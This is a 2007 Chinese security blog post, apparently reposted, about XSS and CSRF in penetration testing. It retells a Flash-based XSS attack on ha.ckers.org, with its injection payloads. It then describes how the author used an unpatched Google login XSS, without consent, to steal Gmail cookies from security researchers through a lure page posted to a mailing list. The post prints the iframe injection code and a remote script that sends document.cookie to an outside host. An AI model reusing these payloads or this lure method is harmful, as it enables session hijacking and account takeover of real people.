xss/csrf in penetration test 's

admin 2017年4月21日12:50:34评论283 views字数 4015阅读13分23秒阅读模式
摘要

鬼仔注:superhei在文中说的他发在幻影maillist的那个页面我去看过,确实没发现,汗。

鬼仔注:superhei在文中说的他发在幻影maillist的那个页面我去看过,确实没发现,汗。

author: superhei
date: 2007-11-29
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

一.Owning Ha.ckers.org

前段时间在Sirdarckcat和Kuza55一起”Owning Ha.ckers.org”中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:
1.Sirdarckcat的 blog:
http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html
2.rSnake的blog:
http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/

首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:

getURL("javascript:alert('xss')", "_self", "GET"); stop();

在”Flash Lite 2.x ActionScript 语言参考”里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
getURL(url:String [, window:String [, method:String] ]) :Void
…..
method:String [可选] — 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf
我们提交: xss.swf?a=0:0;eval(alert(‘xss’);

as2里:getURL(“javascript:alert(‘xss’)?a=0:0;eval(alert(‘xss’);”, “_self”, “GET”);
注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.

demo:

http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));

成功完成了xss.

在Sirdarckcat的poc里使用的是:

<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="...[playload]"></iframe>

这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.

a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;
这个也就是
eval(atob(window.name)).

atob=decode base64

这个又是他们的一个技巧,使用编码饶过一些检测 ..

他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).

在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.

在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等….

二.Owning Some-Hacks’s Gmail

也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html ,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie xss/csrf in penetration test  's

xss点:

https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1

利用:经常测试发现这个是一个https的xss,在ie下使用iframe调用时得不到gmail的cookie[当然利用利用jx那文章里提到的 window.location但是不够隐蔽],我们的目标是搞安全的,一般的安全意识还是有的,而且现在搞安全的一般都是使用ff,因为ie太不安全, 所以我决定先只考虑ff….

创建iframe的代码如下[感谢luoluo的指点:)]:

<html><body> <iframe src="" id="f"></iframe> <script> foourl=''; document.getElementById("f").src='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>'; alert(document.getElementById("f").src); document.getElementById("f").style.width = 0; document.getElementById("f").style.height = 0; </script> </body> </html>

我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js

那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .

首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http: //60.190.243.111/superhei/ieav/phpcms.htm ,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.

我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js 的代码:

getURL("http://xxx.com/test.asp?cn="+encodeURIComponent(document.cookie));  function getURL(s) { var image = new Image(); image.style.width = 0; image.style.height = 0; image.src = s; }

利用Image发送cookie.

然后在maillist发布我的贴以后,我就去上晚班了,等我第2天早上9:00下班后,发现我的数据库里躺着n个人的cookie xss/csrf in penetration test  's

在整个过程,我以为我的行为会被人发现,遗憾的是一直没有人跟贴反应,只有一个朋友我们的boy同学用noscript拦截了我的攻击,说实话开始之前我对 noscript一无所知,所以根本没有考虑,由此国内安全人员自己的安全意识也要加强了. 这个攻击其实没什么新东西也没有Sirdarckcat那么的技术细节考虑但是效果还是明显的,回想起以前lis0利用xss进我163的mail时,可能也是利用了相同的伎俩?

三.后话

xss和csrf是我见过最卑鄙无耻的攻击方法,尤其是csrf[虽然上面的例子没有涉及],这个也是我一直bs它们的理由,在bs他们的同时我们应该去了解他们,因为’黑客无处不在’ xss/csrf in penetration test  's

在国内好多人在提到xss的时候只是来个alert,真正利用还是很麻烦,而且真正用到渗透测试中更加少了…,不过我有理由相信在以后的渗透测试里,会出现更加多xss/csrf等等 攻击手段.

[最后,感谢和我一起交流,一起学习的朋友们!]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月21日12:50:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss/csrf in penetration test 'shttps://cn-sec.com/archives/47015.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息